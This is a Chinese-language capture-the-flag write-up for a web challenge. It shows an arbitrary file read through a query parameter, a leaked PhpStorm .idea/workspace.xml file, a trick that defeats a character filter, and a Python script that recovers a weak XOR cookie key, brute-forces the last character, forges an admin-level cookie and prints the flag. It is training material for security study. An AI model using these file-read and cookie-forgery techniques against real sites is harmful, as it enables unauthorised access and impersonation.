i春秋CTF-WEB-Code

原创

分析

打开url，发现是一个读取文件的过程，一开始还以为是文件包含，其实直接读文件即可：

```
/index.php?jpg=index.php
```

读了一下index.php的内容，base64解码得到index.php源码

```
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
```

一开始没发现什么东西，看了WP说是和phpStorm有关，于是百度一下phpStorm，学习到**phpstorm写的会有一个 .idea 文件夹，里面存储了一些配置文件**

phpstorm新建项目自动出现的.idea文件夹是干嘛用的

访问一下.idea/workspace.xml,在源代码中发现一些猫腻：

```
view-source:http://40bd4aa3f9d7411fa9a504272526586f4deb6e1cbbe44807.game.ichunqiu.com/.idea/workspace.xml
```

```
        <option value="$PROJECT_DIR$/x.php" />
        <option value="$PROJECT_DIR$/config.php" />
        <option value="$PROJECT_DIR$/fl3g_ichuqiu.php" />
```

可以看出这个工程还有几个php文件，`config.php`,`fl3g_ichuqiu.php`,`x.php`

于是尝试访问`fl3g_ichuqiu.php`,直接访问发现不行，ヽ(ゝ▽ゝ)ノ

那么还可以通过`index.php`来读文件，但是不难发现过滤了大小写数字字符以外的其他字符，也就是说_被过滤了，但是又发现`config`会被替代成_也就可以绕过过滤了。

payload:

```
?jpg=fl3gconfigichuqiu.php
```

```
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
//获取length位数的随机字符串
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
// 加密过程
function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }//txt内容ascii码增加10
    $txt = $tmp;
    $rnd=random(4);// 取4位随机字符串
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];//txt和key异或得到ttmp
    }
    return base64_encode($rnd.$ttmp);
}
//关键在于未知的key

function decrypt($txt,$key){
```

```
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}

$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "ヽ(ゝ▽ゝ)ノ";
}
?>
```

加密和解密的原理其实不难，但是我看了很久，我们需要更与得到user的`cookie`计算解密 得到的key，然后利用这个`key`对`system`加密，从而得到`system`的`cookie`，伪造`cookie`得到flag

附上我的脚本：

```
# -*- coding: utf-8 -*
import requests
import string
from base64 import *

url = "http://cf28ccf5e2fc468bb413ae1b25a184fa879fff035a8540c9.game.ichunqiu.com/fl3g_ichuqiu.php"
cookie = requests.get(url).cookies['user']
# print cookie
txt = b64decode(cookie)
# print txt
rnd = txt[:4]
# print rnd
ttmp = txt[4:]    #获取cookie从而得到rnd值(4位)和ttmp值(5位，即md5后的key的前五位)
# print ttmp
keys = list('xxxxxx')
guest = list('guest')
for i in range(len(guest)):
    guest[i] = chr(ord(guest[i])+10)
for i in range(len(guest)):
    keys[i] = chr(ord(ttmp[i])^ord(guest[i]))    #根据源码，算出key的前五位（异或）
# print keys

system = list('system')           #用已知信息（key值）来对system进行加密
for i in range(len(system)):
    system[i] = chr(ord(system[i])+10)
ttmp_new = ''
str = ''
payload = []
letters = '1234567890abcdef'     #system有六位，但我们只知道五位的key，所以要爆破一下最后一位
for ch in letters:
    keys[5] = ch
    for i in range(len(system)):
        ttmp_new += chr(ord(keys[i]) ^ ord(system[i]))
    str = rnd + ttmp_new
    payload.append(b64encode(str))
    ttmp_new = ''
print payload
for i in payload:
    cookies = {'user':i}
    res = requests.get(url,cookies=cookies)
    if 'flag' in res.content:
        print i
        print res.content
'''
['ZFhxaRi2HB1fRg==', 'ZFhxaRi2HB1fRQ==', 'ZFhxaRi2HB1fRA==', 'ZFhxaRi2HB1fQw==', 'ZFhxaRi2HB1fQg==', 'ZFhxa
ZFhxaRi2HB1fFg==
flag{############}
[Finished in 3.1s]
'''
```